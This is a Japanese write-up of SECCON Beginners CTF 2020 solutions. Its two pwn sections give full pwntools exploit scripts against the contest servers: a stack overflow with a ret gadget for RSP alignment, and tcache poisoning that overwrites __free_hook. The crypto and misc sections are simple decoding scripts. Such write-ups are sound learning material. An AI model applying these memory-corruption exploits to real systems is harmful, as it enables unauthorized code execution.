Beginners CTF 2020 [writeup]

以下の解けた問題のみwriteupを載せます。

  • [pwn] Beginner's Stack
  • [pwn] Beginner's Heap
  • [crypto] R&B
  • [misc] emoemoencode

Beginner's Stack

プログラム実行前後のスタックの状態がダンプされるようになっている。 リターンアドレスとbufferのオフセットを考えれば

payload=''
payload+='A'*8*5
payload+=p64(0x00400861)

のようなペイロードを送ればよいとわかる。 しかし、実行してみると、

Oops! RSP is misaligned!
Some functions such as `system` use `movaps` instructions in libc-2.27 and later.
This instruction fails when RSP is not a multiple of 0x10.
Find a way to align RSP! You're almost there!

と怒られてしまう。 win呼び出し時にスタックポインターの値が0x10の倍数でないといけないらしい。ここで第一に書き換えるべきリターンアドレスの配置場所は0x00007ffde2cb48f8であるからこれをどうにか8byteずらせばよい。 retがあれば、 win呼び出し時のespが8byteだけずらすことが出来る。 gdb-pedaのropgadgetコマンドを用いてretを探す。

gdb-peda$ ropgadget
ret = 0x400626
popret = 0x400728
addesp_8 = 0x400623

したがってエクスプロイトコードは以下

from pwn import *
context(os='linux', arch='i386')

p = remote('bs.quals.beginners.seccon.jp',9001)

payload=''
payload+='A'*8*5
payload+=p64(0x00400626)
payload+=p64(0x00400861)

p.sendline(payload)
p.interactive()

Beginner's Heap

heapの動作原理の理解が深まる問題だった。 作問者様のwriteupがわかりやすかったのでそちらを参考にされたい。 以下エクスプロイトコードと重要事項のみ書いておきます。

  • chunk headerの構造をおさえる
  • tcacheはUSEなchunkのfree時にサイズごとに単方向リストに連結する仕組み
  • fdはFREEなchunkのwilderness(data本体)を指し示す
  • malloc時にmallocされるchunkのfdがリストすなわちtcacheに連結される
  • 今回はheaderのsizeを偽装することでfree時に別のサイズ用のtcacheに連結させられる
from pwn import *
import time

context(os='linux', arch='i386')

p = remote('bh.quals.beginners.seccon.jp',9002)

def write(s):
    p.sendline("1")
    time.sleep(0.1)
    p.sendline(str(s))
    time.sleep(0.1)

def malloc(s):
    p.sendline("2")
    time.sleep(0.1)
    p.sendline(str(s))
    time.sleep(0.1)

def free():
    p.sendline("3")
    time.sleep(0.1)

p.recvuntil("hook>: ")
free_hook=int(p.recv(14),16)

p.recvuntil("win>: ")
win=int(p.recv(14),16)

malloc("A")
free()

payload=p64(0)*3
payload+=p64(0x31)
payload+=p64(free_hook)
write(payload)

malloc("A")

free()

malloc(p64(win))

free()

p.interactive()

R&B

フラグは以下の手順にそってエンコードされる

したがってencoded_flagの先頭がBなので先頭のBを取り除いた文字列をbase64でデコード
→さらに得られた文字列の先頭がBならばさらにbase64でデコード...
という風にすればよい。

import base64
import codecs

nexts='BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ=='

while True:
    top=nexts[0]
    encoded_string=nexts[1:]

    if top=='B' :
        nexts=base64.b64decode(encoded_string.encode('utf-8'))
    elif top=='R' :
        nexts=codecs.decode(encoded_string,'rot13')
    else :
        break

print(nexts)

emoemoencode

問題文↓(❓)

🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽

ググってもそんなエンコード方式存在しなかった...。
まず文字コードを何らかの方法で変換していると予測。 一文字目から順にUnicodeを確認する。

“🍣” (U+1F363)
“🍴” (U+1F374) 
...

これに対し、変換元の文字列はctf4b{~}の形式だろうから

"c" (U+0063)
"t" (U+0074)
...

これより下二桁のみに注目すれば良いとわかる。

pythonで以下のようなスクリプトを実行すれば良い。

s='🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽'
a=""

for t in s:
   a+=chr(ord(t)%128)

print(a)